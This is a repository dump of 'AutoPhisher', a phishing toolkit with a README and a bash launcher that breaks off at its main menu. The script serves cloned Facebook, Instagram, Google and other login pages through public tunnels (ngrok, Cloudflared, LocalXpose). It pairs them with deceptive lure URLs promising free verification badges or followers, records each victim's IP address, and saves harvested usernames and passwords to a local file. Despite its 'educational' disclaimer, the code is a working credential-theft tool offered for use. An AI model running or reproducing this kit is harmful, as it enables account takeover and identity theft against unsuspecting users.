├── LICENSE ├── README.md ├── autophisher.sh ├── crkgithub ├── android.jpg ├── linuxlogo.jpg └── logo.jpg ├── scripts └── launch.sh └── sites ├── facebook ├── LICENSE ├── README.md ├── hsts-pixel.gif ├── index.php ├── login.html ├── login.php ├── logo.svg ├── mobile.html ├── script.js └── style.css ├── fb_advanced ├── index.php ├── login.html ├── login.php ├── login2.html └── result.html ├── fb_messenger ├── index.php ├── login.html └── login.php ├── fb_security ├── fb-ico.png ├── index.php ├── login.html ├── login.php ├── logo.png └── style.css ├── github ├── index.php ├── login.html └── login.php ├── google ├── avatar.png ├── google.png ├── index.php ├── login.html └── login.php ├── google_new ├── index.php ├── login.html └── login.php ├── google_poll ├── index.php ├── login.html ├── login.php ├── login2.html └── result.html ├── ig_followers ├── index.php ├── login.html └── login.php ├── ig_verify ├── index.php ├── login.html ├── login.php ├── login2.html ├── login2.php └── login3.html ├── insta_followers ├── index.php ├── login.html └── login.php ├── instagram ├── badge_android_english-en.png ├── badge_ios_english-en.png ├── favicon.png ├── home-phones.png ├── home-phones@2x.png ├── index.php ├── login.html ├── login.php ├── screenshot1.jpg ├── screenshot2.jpg ├── screenshot3.jpg ├── screenshot4.jpg ├── screenshot5.jpg ├── sprite_core_2x_bcd90c1d4868.png └── sprite_core_32f0a4f27407.png ├── ip.php ├── linkedin ├── 4li12pah6li7xka3r69y2hqap.css ├── 6jblk5oqhlo45xbkmcr7s4zix ├── 77qnm4uzm172xn82kvifmelfu ├── 9lb1g1kp916tat669q9r5g2kz ├── dnz8biurbtozxjvxufs5aq4jd ├── dz6wk4o93mwzoh0t6zsx73kzr ├── index.php ├── login.html └── login.php ├── mediafire ├── index.php ├── login.html └── login.php ├── microsoft ├── ConvergedLoginPaginatedStrings.EN.js ├── ConvergedLoginPaginatedStrings.js ├── ConvergedLogin_PCore.js ├── Converged_v21033.css ├── Converged_v21033.css2 ├── boot.css ├── boot.js ├── boot_002.js ├── boot_003.js ├── boot_004.js ├── ellipsis_grey.svg ├── ellipsis_white.svg ├── index.php ├── login.html ├── login.php ├── microsoft_logo.svg ├── prefetch.html ├── sprite1.css └── sprite1.png ├── paypal ├── index.php ├── login.html └── login.php ├── snapchat ├── index.php ├── login.php └── users.php ├── spotify ├── analytics.js ├── anchor.html ├── api.js ├── bframe.html ├── hVpKLs9k787xwHAhrfSZCIqM1XtnPD1dxAE7zC2jvTU.js ├── index.css ├── index.js ├── index.php ├── login.html ├── login.php ├── recaptcha__en.js └── styles__ltr.css └── twitter ├── index.php ├── login.html └── login.php /README.md: -------------------------------------------------------------------------------- 1 | # AutoPhisher 2 | 3 |  4 | 5 | ## An automated Social Media phishing toolkit. 6 | This Tool is made for educational purpose only ! Author will not be responsible for any misuse of this toolkit ! 7 | 8 | # DISCLAIMER 9 | 10 | The use of the autophisher & its resources/phishing-pages is COMPLETE RESPONSIBILITY of the END-USER. Developers assume NO liability and are NOT responsible for any misuse or damage caused by this program. Also we inform you that some of your your actions may be ILLEGAL and you CAN NOT use this software to test person or company without WRITTEN PERMISSION from them. 11 | 12 | # FEATURES 13 | 14 | - Latest and updated login pages every month 15 | - Beginner Friendly 16 | - Multiple Tunneling optoins 17 | * Localhost 18 | * CloudFlared 19 | * Ngrok(https://ngrok.com/) 20 | * LocalXpose(https://localxpos.io/) 21 | 22 | # Installation 23 | 24 | ### Kali Linux 25 | 26 |  27 | 28 | - `apt update` 29 | - `apt install git` 30 | 31 | git clone https://github.com/CodingRanjith/autophisher.git 32 | 33 | - `cd autophisher` 34 | - `bash autophisher.sh` 35 | 36 | ### Android Termux App 37 | 38 |  39 | 40 | - `apt upgrade` 41 | - `apt install git` 42 | 43 | git clone https://github.com/CodingRanjith/autophisher.git 44 | 45 | - `ls` 46 | - `cd autophisher` 47 | - `bash autophisher.sh` 48 | 49 | # Licence 50 | 51 | GNU General Public License v3.0 52 | 53 | # Legal Notice 54 | 55 | * This software is provided for educational use only! The author will not be held responsible for any illegal activity by you. By using this software, you agree to these terms. 56 | 57 | # Donate! 58 | 59 | ### PayPal: https://bit.ly/3QKknix 60 | 61 | 62 | 63 | 64 | 65 | -------------------------------------------------------------------------------- /autophisher.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ## autophisher : Automated Phishing Tool 4 | ## Author : CODING RANJITH 5 | ## Version : 2.0 6 | ## Github : https://github.com/CodingRanjith/autophisher 7 | 8 | 9 | 10 | ## 11 | ## Copyright (C) 2022 CODING RANJITH (https://github.com/CodingRanjith/autophisher) 12 | ## 13 | 14 | 15 | 16 | __version__="2.0" 17 | 18 | ## ANSI colors (FG & BG) 19 | RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" ORANGE="$(printf '\033[33m')" BLUE="$(printf '\033[34m')" 20 | MAGENTA="$(printf '\033[35m')" CYAN="$(printf '\033[36m')" WHITE="$(printf '\033[37m')" BLACK="$(printf '\033[30m')" 21 | REDBG="$(printf '\033[41m')" GREENBG="$(printf '\033[42m')" ORANGEBG="$(printf '\033[43m')" BLUEBG="$(printf '\033[44m')" 22 | MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(printf '\033[47m')" BLACKBG="$(printf '\033[40m')" 23 | RESETBG="$(printf '\e[0m\n')" 24 | 25 | ## Directories - Coding Ranjith 26 | if [[ ! -d ".server" ]]; then 27 | mkdir -p ".server" 28 | fi 29 | 30 | if [[ ! -d "auth" ]]; then 31 | mkdir -p "auth" 32 | fi 33 | 34 | if [[ -d ".server/www" ]]; then 35 | rm -rf ".server/www" 36 | mkdir -p ".server/www" 37 | else 38 | mkdir -p ".server/www" 39 | fi 40 | 41 | ## Remove logfile - Coding Ranjith 42 | if [[ -e ".server/.loclx" ]]; then 43 | rm -rf ".server/.loclx" 44 | fi 45 | 46 | if [[ -e ".server/.cld.log" ]]; then 47 | rm -rf ".server/.cld.log" 48 | fi 49 | 50 | ## Script termination 51 | exit_on_signal_SIGINT() { 52 | { printf "\n\n%s\n\n" "${WHITE}[${GREEN}!${WHITE}]${BLUE} Program Interrupted." 2>&1; reset_color; } 53 | exit 0 54 | } 55 | 56 | exit_on_signal_SIGTERM() { 57 | { printf "\n\n%s\n\n" "${WHITE}[${GREEN}!${WHITE}]${BLUE} Program Terminated." 2>&1; reset_color; } 58 | exit 0 59 | } 60 | 61 | trap exit_on_signal_SIGINT SIGINT 62 | trap exit_on_signal_SIGTERM SIGTERM 63 | 64 | ## Reset terminal colors 65 | reset_color() { 66 | tput sgr0 # reset attributes 67 | tput op # reset color 68 | return 69 | } 70 | 71 | ## Kill already running process 72 | kill_pid() { 73 | check_PID="php ngrok cloudflared loclx" 74 | for process in ${check_PID}; do 75 | if [[ $(pidof ${process}) ]]; then # Check for Process 76 | killall ${process} > /dev/null 2>&1 # Kill the Process 77 | fi 78 | done 79 | } 80 | 81 | ## Banner 82 | banner() { 83 | cat <<- EOF 84 | 85 | ${GREEN}░█████╗░██╗░░░██╗████████╗░█████╗░██████╗░██╗░░██╗██╗░██████╗██╗░░██╗███████╗██████╗░ 86 | ${GREEN}██╔══██╗██║░░░██║╚══██╔══╝██╔══██╗██╔══██╗██║░░██║██║██╔════╝██║░░██║██╔════╝██╔══██╗ 87 | ${GREEN}███████║██║░░░██║░░░██║░░░██║░░██║██████╔╝███████║██║╚█████╗░███████║█████╗░░██████╔╝ 88 | ${GREEN}██╔══██║██║░░░██║░░░██║░░░██║░░██║██╔═══╝░██╔══██║██║░╚═══██╗██╔══██║██╔══╝░░██╔══██╗ 89 | ${GREEN}██║░░██║╚██████╔╝░░░██║░░░╚█████╔╝██║░░░░░██║░░██║██║██████╔╝██║░░██║███████╗██║░░██║ 90 | ${GREEN}╚═╝░░╚═╝░╚═════╝░░░░╚═╝░░░░╚════╝░╚═╝░░░░░╚═╝░░╚═╝╚═╝╚═════╝░╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝ 91 | ${GREEN} 92 | ${BLUE}Version : ${__version__} 93 | 94 | ${GREEN}[${WHITE}-${GREEN}]${CYAN} Tool Created by CODING RANJITH (C.RANJITH KUMAR)${WHITE} 95 | EOF 96 | } 97 | 98 | ## Small Banner 99 | banner_small() { 100 | cat <<- EOF 101 | ${BLUE}█████████████████████████████████████████████████████████████ 102 | ${BLUE}██▀▄─██▄─██─▄█─▄─▄─█─▄▄─█▄─▄▄─█─█─█▄─▄█─▄▄▄▄█─█─█▄─▄▄─█▄─▄▄▀█ 103 | ${BLUE}██─▀─███─██─████─███─██─██─▄▄▄█─▄─██─██▄▄▄▄─█─▄─██─▄█▀██─▄─▄█ 104 | ${BLUE}▀▄▄▀▄▄▀▀▄▄▄▄▀▀▀▄▄▄▀▀▄▄▄▄▀▄▄▄▀▀▀▄▀▄▀▄▄▄▀▄▄▄▄▄▀▄▀▄▀▄▄▄▄▄▀▄▄▀▄▄▀ ${WHITE} ${__version__} 105 | EOF 106 | } 107 | 108 | ## Dependencies 109 | dependencies() { 110 | echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing required packages..." 111 | 112 | if [[ -d "/data/data/com.termux/files/home" ]]; then 113 | if [[ ! $(command -v proot) ]]; then 114 | echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}proot${CYAN}"${WHITE} 115 | pkg install proot resolv-conf -y 116 | fi 117 | 118 | if [[ ! $(command -v tput) ]]; then 119 | echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}ncurses-utils${CYAN}"${WHITE} 120 | pkg install ncurses-utils -y 121 | fi 122 | fi 123 | 124 | if [[ $(command -v php) && $(command -v curl) && $(command -v unzip) ]]; then 125 | echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Packages already installed." 126 | else 127 | pkgs=(php curl unzip) 128 | for pkg in "${pkgs[@]}"; do 129 | type -p "$pkg" &>/dev/null || { 130 | echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}$pkg${CYAN}"${WHITE} 131 | if [[ $(command -v pkg) ]]; then 132 | pkg install "$pkg" -y 133 | elif [[ $(command -v apt) ]]; then 134 | sudo apt install "$pkg" -y 135 | elif [[ $(command -v apt-get) ]]; then 136 | sudo apt-get install "$pkg" -y 137 | elif [[ $(command -v pacman) ]]; then 138 | sudo pacman -S "$pkg" --noconfirm 139 | elif [[ $(command -v dnf) ]]; then 140 | sudo dnf -y install "$pkg" 141 | elif [[ $(command -v yum) ]]; then 142 | sudo yum -y install "$pkg" 143 | else 144 | echo -e "\n${WHITE}[${GREEN}!${WHITE}]${BLUE} Unsupported package manager, Install packages manually." 145 | { reset_color; exit 1; } 146 | fi 147 | } 148 | done 149 | fi 150 | } 151 | 152 | # Download Binaries 153 | download() { 154 | url="$1" 155 | output="$2" 156 | file=`basename $url` 157 | if [[ -e "$file" || -e "$output" ]]; then 158 | rm -rf "$file" "$output" 159 | fi 160 | curl --silent --insecure --fail --retry-connrefused \ 161 | --retry 3 --retry-delay 2 --location --output "${file}" "${url}" 162 | 163 | if [[ -e "$file" ]]; then 164 | if [[ ${file#*.} == "zip" ]]; then 165 | unzip -qq $file > /dev/null 2>&1 166 | mv -f $output .server/$output > /dev/null 2>&1 167 | elif [[ ${file#*.} == "tgz" ]]; then 168 | tar -zxf $file > /dev/null 2>&1 169 | mv -f $output .server/$output > /dev/null 2>&1 170 | else 171 | mv -f $file .server/$output > /dev/null 2>&1 172 | fi 173 | chmod +x .server/$output > /dev/null 2>&1 174 | rm -rf "$file" 175 | else 176 | echo -e "\n${WHITE}[${GREEN}!${WHITE}]${BLUE} Error occured while downloading ${output}." 177 | { reset_color; exit 1; } 178 | fi 179 | } 180 | 181 | ## Install ngrok 182 | install_ngrok() { 183 | if [[ -e ".server/ngrok" ]]; then 184 | echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Ngrok already installed." 185 | else 186 | echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing ngrok..."${WHITE} 187 | arch=`uname -m` 188 | if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then 189 | download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-arm.tgz' 'ngrok' 190 | elif [[ "$arch" == *'aarch64'* ]]; then 191 | download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-arm64.tgz' 'ngrok' 192 | elif [[ "$arch" == *'x86_64'* ]]; then 193 | download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz' 'ngrok' 194 | else 195 | download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-386.tgz' 'ngrok' 196 | fi 197 | fi 198 | } 199 | 200 | ## Install Cloudflared 201 | install_cloudflared() { 202 | if [[ -e ".server/cloudflared" ]]; then 203 | echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Cloudflared already installed." 204 | else 205 | echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing Cloudflared..."${WHITE} 206 | arch=`uname -m` 207 | if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then 208 | download 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm' 'cloudflared' 209 | elif [[ "$arch" == *'aarch64'* ]]; then 210 | download 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64' 'cloudflared' 211 | elif [[ "$arch" == *'x86_64'* ]]; then 212 | download 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64' 'cloudflared' 213 | else 214 | download 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386' 'cloudflared' 215 | fi 216 | fi 217 | } 218 | 219 | ## Install LocalXpose 220 | install_localxpose() { 221 | if [[ -e ".server/loclx" ]]; then 222 | echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} LocalXpose already installed." 223 | else 224 | echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing LocalXpose..."${WHITE} 225 | arch=`uname -m` 226 | if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then 227 | download 'https://api.localxpose.io/api/v2/downloads/loclx-linux-arm.zip' 'loclx' 228 | elif [[ "$arch" == *'aarch64'* ]]; then 229 | download 'https://api.localxpose.io/api/v2/downloads/loclx-linux-arm64.zip' 'loclx' 230 | elif [[ "$arch" == *'x86_64'* ]]; then 231 | download 'https://api.localxpose.io/api/v2/downloads/loclx-linux-amd64.zip' 'loclx' 232 | else 233 | download 'https://api.localxpose.io/api/v2/downloads/loclx-linux-386.zip' 'loclx' 234 | fi 235 | fi 236 | } 237 | 238 | ## Exit message 239 | msg_exit() { 240 | { clear; banner; echo; } 241 | echo -e "${GREENBG}${BLACK} Thank you for using this tool. Have a good day.${RESETBG}\n" 242 | { reset_color; exit 0; } 243 | } 244 | 245 | ## About 246 | about() { 247 | { clear; banner; echo; } 248 | cat <<- EOF 249 | ${GREEN} Author ${RED}: ${ORANGE}C.RANJITH KUMAR ${RED}[ ${ORANGE}CODING RANJITH ${RED}] 250 | ${GREEN} Github ${RED}: ${CYAN}https://github.com/CodingRanjith/autophisher 251 | ${GREEN} Social ${RED}: ${CYAN}https://techackode.blogspot.com 252 | ${GREEN} Version ${RED}: ${ORANGE}${__version__} 253 | 254 | ${WHITE} ${REDBG}Warning:${RESETBG} 255 | ${CYAN} This Tool is made for educational purpose 256 | only ${RED}!${WHITE}${CYAN} Author will not be responsible for 257 | any misuse of this toolkit ${RED}!${WHITE} 258 | 259 | 260 | ${WHITE}[${GREEN}00${WHITE}]${BLUE} Main Menu ${WHITE}[${GREEN}99${WHITE}]${BLUE} Exit 261 | 262 | EOF 263 | 264 | read -p "${WHITE}[${GREEN}-${WHITE}]${BLUE} 𝙎𝙀𝙇𝙀𝘾𝙏 𝘼𝙉 𝙊𝙋𝙏𝙄𝙊𝙉 : ${BLUE}" 265 | case $REPLY in 266 | 99) 267 | msg_exit;; 268 | 0 | 00) 269 | echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Returning to main menu..." 270 | { sleep 1; main_menu; };; 271 | *) 272 | echo -ne "\n${WHITE}[${GREEN}!${WHITE}]${BLUE} Invalid Option, Try Again..." 273 | { sleep 1; about; };; 274 | esac 275 | } 276 | 277 | ## Setup website and start php server 278 | HOST='127.0.0.1' 279 | PORT='8080' 280 | 281 | setup_site() { 282 | echo -e "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} Setting up server..."${WHITE} 283 | cp -rf sites/"$website"/* .server/www 284 | cp -f sites/ip.php .server/www/ 285 | echo -ne "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} Starting PHP server..."${WHITE} 286 | cd .server/www && php -S "$HOST":"$PORT" > /dev/null 2>&1 & 287 | } 288 | 289 | ## Get IP address 290 | capture_ip() { 291 | IP=$(grep -a 'IP:' .server/www/ip.txt | cut -d " " -f2 | tr -d '\r') 292 | IFS=$'\n' 293 | echo -e "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} Victim's IP : ${BLUE}$IP" 294 | echo -ne "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} Saved in : ${ORANGE}auth/ip.txt" 295 | cat .server/www/ip.txt >> auth/ip.txt 296 | } 297 | 298 | ## Get credentials 299 | capture_creds() { 300 | ACCOUNT=$(grep -o 'Username:.*' .server/www/usernames.txt | awk '{print $2}') 301 | PASSWORD=$(grep -o 'Pass:.*' .server/www/usernames.txt | awk -F ":." '{print $NF}') 302 | IFS=$'\n' 303 | echo -e "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} Account : ${ORANGE}$ACCOUNT" 304 | echo -e "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} Password: ${ORANGE}$PASSWORD" 305 | echo -e "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} Saved in : ${ORANGE}auth/usernames.dat" 306 | cat .server/www/usernames.txt >> auth/usernames.dat 307 | echo -ne "\n${RED}[${WHITE}-${RED}]${ORANGE} Waiting for Next Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit. " 308 | } 309 | 310 | ## Print data 311 | capture_data() { 312 | echo -ne "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} Waiting for Login Info, ${ORANGE}Ctrl + C ${BLUE}to exit..." 313 | while true; do 314 | if [[ -e ".server/www/ip.txt" ]]; then 315 | echo -e "\n\n${WHITE}[${GREEN}-${WHITE}]${BLUE} Victim IP Found !" 316 | capture_ip 317 | rm -rf .server/www/ip.txt 318 | fi 319 | sleep 0.75 320 | if [[ -e ".server/www/usernames.txt" ]]; then 321 | echo -e "\n\n${WHITE}[${GREEN}-${WHITE}]${ORANGE} Login info Found !!" 322 | capture_creds 323 | rm -rf .server/www/usernames.txt 324 | fi 325 | sleep 0.75 326 | done 327 | } 328 | 329 | ## Start ngrok 330 | start_ngrok() { 331 | echo -e "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})" 332 | { sleep 1; setup_site; } 333 | echo -e "\n" 334 | read -n1 -p "${RED}[${WHITE}-${RED}]${ORANGE} Change Ngrok Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion 335 | [[ ${opinion,,} == "y" ]] && ngrok_region="eu" || ngrok_region="us" 336 | echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Ngrok..." 337 | 338 | if [[ `command -v termux-chroot` ]]; then 339 | sleep 2 && termux-chroot ./.server/ngrok http --region ${ngrok_region} "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 & 340 | else 341 | sleep 2 && ./.server/ngrok http --region ${ngrok_region} "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 & 342 | fi 343 | 344 | { sleep 8; clear; banner_small; } 345 | ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -Eo '(https)://[^/"]+(.ngrok.io)') 346 | ngrok_url1=${ngrok_url#https://} 347 | echo -e "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} URL 1 : ${ORANGE}$ngrok_url" 348 | echo -e "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} URL 2 : ${ORANGE}$mask@$ngrok_url1" 349 | capture_data 350 | } 351 | 352 | ## Start Cloudflared 353 | start_cloudflared() { 354 | rm .cld.log > /dev/null 2>&1 & 355 | echo -e "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} Initializing... ${ORANGE}( ${CYAN}http://$HOST:$PORT ${ORANGE})" 356 | { sleep 1; setup_site; } 357 | echo -ne "\n\n${WHITE}[${GREEN}-${WHITE}]${BLUE} Launching Cloudflared..." 358 | 359 | if [[ `command -v termux-chroot` ]]; then 360 | sleep 2 && termux-chroot ./.server/cloudflared tunnel -url "$HOST":"$PORT" --logfile .server/.cld.log > /dev/null 2>&1 & 361 | else 362 | sleep 2 && ./.server/cloudflared tunnel -url "$HOST":"$PORT" --logfile .server/.cld.log > /dev/null 2>&1 & 363 | fi 364 | 365 | { sleep 8; clear; banner_small; } 366 | 367 | cldflr_link=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".server/.cld.log") 368 | cldflr_link1=${cldflr_link#https://} 369 | echo -e "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} URL 1 : ${ORANGE}$cldflr_link" 370 | echo -e "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} URL 2 : ${ORANGE}$mask@$cldflr_link1" 371 | capture_data 372 | } 373 | 374 | localxpose_auth() { 375 | ./.server/loclx -help > /dev/null 2>&1 & 376 | sleep 1 377 | [ -d ".localxpose" ] && auth_f=".localxpose/.access" || auth_f="$HOME/.localxpose/.access" 378 | 379 | [ "$(./.server/loclx account status | grep Error)" ] && { 380 | echo -e "\n\n${WHITE}[${GREEN}!${WHITE}]${BLUE} Create an account on ${ORANGE}localxpose.io${GREEN} & copy the token\n" 381 | sleep 3 382 | read -p "${WHITE}[${GREEN}-${WHITE}]${ORANGE} Input Loclx Token :${ORANGE} " loclx_token 383 | [[ $loclx_token == "" ]] && { 384 | echo -e "\n${WHITE}[${GREEN}!${WHITE}]${BLUE} You have to input Localxpose Token." ; sleep 2 ; tunnel_menu 385 | } || { 386 | echo -n "$loclx_token" > $auth_f 2> /dev/null 387 | } 388 | } 389 | } 390 | 391 | ## Start LocalXpose (Again...) 392 | start_loclx() { 393 | echo -e "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} Initializing... ${CYAN}( ${ORANGE}http://$HOST:$PORT ${CYAN})" 394 | { sleep 1; setup_site; localxpose_auth; } 395 | echo -e "\n" 396 | read -n1 -p "${WHITE}[${GREEN}-${WHITE}]${BLUE} Change Loclx Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion 397 | [[ ${opinion,,} == "y" ]] && loclx_region="eu" || loclx_region="us" 398 | echo -e "\n\n${WHITE}[${GREEN}-${WHITE}]${BLUE} Launching LocalXpose..." 399 | 400 | if [[ `command -v termux-chroot` ]]; then 401 | sleep 1 && termux-chroot ./.server/loclx tunnel --raw-mode http --region ${loclx_region} --https-redirect -t "$HOST":"$PORT" > .server/.loclx 2>&1 & 402 | else 403 | sleep 1 && ./.server/loclx tunnel --raw-mode http --region ${loclx_region} --https-redirect -t "$HOST":"$PORT" > .server/.loclx 2>&1 & 404 | fi 405 | 406 | { sleep 12; clear; banner_small; } 407 | loclx_url=$(cat .server/.loclx | grep -Eo '[-0-9a-z]+.[-0-9a-z]+(.loclx.io)') # Somebody fix this crappy regex :( 408 | echo -e "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} URL 1 : ${ORANGE}http://$loclx_url" 409 | echo -e "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} URL 2 : ${ORANGE}$mask@$loclx_url" 410 | capture_data 411 | } 412 | 413 | ## Start localhost 414 | start_localhost() { 415 | echo -e "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} Initializing... ${GREEN}( ${ORANGE}http://$HOST:$PORT ${GREEN})" 416 | setup_site 417 | { sleep 1; clear; banner_small; } 418 | echo -e "\n${WHITE}[${GREEN}-${WHITE}]${BLUE} Successfully Hosted at : ${GREEN}${ORANGE}http://$HOST:$PORT ${GREEN}" 419 | capture_data 420 | } 421 | 422 | ## Tunnel selection 423 | tunnel_menu() { 424 | { clear; banner_small; } 425 | cat <<- EOF 426 | 427 | ${WHITE}[${GREEN}01${WHITE}]${BLUE} Localhost 428 | ${WHITE}[${GREEN}02${WHITE}]${BLUE} Ngrok.io ${WHITE}[${ORANGE}Account Needed${WHITE}] 429 | ${WHITE}[${GREEN}03${WHITE}]${BLUE} Cloudflared ${WHITE}[${ORANGE}Auto Detects${WHITE}] 430 | ${WHITE}[${GREEN}04${WHITE}]${BLUE} LocalXpose ${WHITE}[${ORANGE}NEW! Max 15Min${WHITE}] 431 | 432 | EOF 433 | 434 | read -p "${WHITE}[${GREEN}-${WHITE}]${RED} 𝙎𝙀𝙇𝙀𝘾𝙏 𝘼 𝙋𝙊𝙍𝙏 𝙁𝙊𝙍𝙒𝘼𝙍𝘿𝙄𝙉𝙂 𝙎𝙀𝙍𝙑𝙄𝘾𝙀 : ${RED}" 435 | 436 | case $REPLY in 437 | 1 | 01) 438 | start_localhost;; 439 | 2 | 02) 440 | start_ngrok;; 441 | 3 | 03) 442 | start_cloudflared;; 443 | 4 | 04) 444 | start_loclx;; 445 | *) 446 | echo -ne "\n${WHITE}[${GREEN}!${WHITE}]${BLUE} Invalid Option, Try Again..." 447 | { sleep 1; tunnel_menu; };; 448 | esac 449 | } 450 | 451 | ## Facebook 452 | site_facebook() { 453 | cat <<- EOF 454 | 455 | ${WHITE}[${GREEN}01${WHITE}]${BLUE} Traditional Login Page 456 | ${WHITE}[${GREEN}02${WHITE}]${BLUE} Advanced Voting Poll Login Page 457 | ${WHITE}[${GREEN}03${WHITE}]${BLUE} Fake Security Login Page 458 | ${WHITE}[${GREEN}04${WHITE}]${BLUE} Facebook Messenger Login Page 459 | 460 | EOF 461 | 462 | read -p "${WHITE}[${GREEN}-${WHITE}]${RED} 𝙎𝙀𝙇𝙀𝘾𝙏 𝘼𝙉 𝙊𝙋𝙏𝙄𝙊𝙉 : ${RED}" 463 | 464 | case $REPLY in 465 | 1 | 01) 466 | website="facebook" 467 | mask='http://blue-verified-badge-for-facebook-free' 468 | tunnel_menu;; 469 | 2 | 02) 470 | website="fb_advanced" 471 | mask='http://vote-for-the-best-social-media' 472 | tunnel_menu;; 473 | 3 | 03) 474 | website="fb_security" 475 | mask='http://make-your-facebook-secured-and-free-from-hackers' 476 | tunnel_menu;; 477 | 4 | 04) 478 | website="fb_messenger" 479 | mask='http://get-messenger-premium-features-free' 480 | tunnel_menu;; 481 | *) 482 | echo -ne "\n${WHITE}[${GREEN}!${WHITE}]${BLUE} Invalid Option, Try Again..." 483 | { sleep 1; clear; banner_small; site_facebook; };; 484 | esac 485 | } 486 | 487 | ## Instagram 488 | site_instagram() { 489 | cat <<- EOF 490 | 491 | ${WHITE}[${GREEN}01${WHITE}]${BLUE} Traditional Login Page 492 | ${WHITE}[${GREEN}02${WHITE}]${BLUE} Auto Followers Login Page 493 | ${WHITE}[${GREEN}03${WHITE}]${BLUE} 1000 Followers Login Page 494 | ${WHITE}[${GREEN}04${WHITE}]${BLUE} Blue Badge Verify Login Page 495 | 496 | EOF 497 | 498 | read -p "${WHITE}[${GREEN}-${WHITE}]${RED} 𝙎𝙀𝙇𝙀𝘾𝙏 𝘼𝙉 𝙊𝙋𝙏𝙄𝙊𝙉 : ${RED}" 499 | 500 | case $REPLY in 501 | 1 | 01) 502 | website="instagram" 503 | mask='http://get-unlimited-followers-for-instagram' 504 | tunnel_menu;; 505 | 2 | 02) 506 | website="ig_followers" 507 | mask='http://get-unlimited-followers-for-instagram' 508 | tunnel_menu;; 509 | 3 | 03) 510 | website="insta_followers" 511 | mask='http://get-1000-followers-for-instagram' 512 | tunnel_menu;; 513 | 4 | 04) 514 | website="ig_verify" 515 | mask='http://blue-badge-verify-for-instagram-free' 516 | tunnel_menu;; 517 | *) 518 | echo -ne "\n${WHITE}[${GREEN}!${WHITE}]${BLUE} Invalid Option, Try Again..." 519 | { sleep 1; clear; banner_small; site_instagram; };; 520 | esac 521 | } 522 | 523 | ## Gmail/Google 524 | site_gmail() { 525 | cat <<- EOF 526 | 527 | ${WHITE}[${GREEN}01${WHITE}]${BLUE} Gmail Old Login Page 528 | ${WHITE}[${GREEN}02${WHITE}]${BLUE} Gmail New Login Page 529 | ${WHITE}[${GREEN}03${WHITE}]${BLUE} Advanced Voting Poll 530 | 531 | EOF 532 | 533 | read -p "${WHITE}[${GREEN}-${WHITE}]${RED} 𝙎𝙀𝙇𝙀𝘾𝙏 𝘼𝙉 𝙊𝙋𝙏𝙄𝙊𝙉 : ${RED}" 534 | 535 | case $REPLY in 536 | 1 | 01) 537 | website="google" 538 | mask='http://get-unlimited-google-drive-free' 539 | tunnel_menu;; 540 | 2 | 02) 541 | website="google_new" 542 | mask='http://get-unlimited-google-drive-free' 543 | tunnel_menu;; 544 | 3 | 03) 545 | website="google_poll" 546 | mask='http://vote-for-the-best-social-media' 547 | tunnel_menu;; 548 | *) 549 | echo -ne "\n${WHITE}[${GREEN}!${WHITE}]${BLUE} Invalid Option, Try Again..." 550 | { sleep 1; clear; banner_small; site_gmail; };; 551 | esac 552 | } 553 | 554 | 555 | 556 | ## Menu 557 | main_menu() { 558 | { clear; banner; echo; } 559 | cat <<- EOF 560 | ${WHITE}[${GREEN}::${WHITE}]${BLUE} 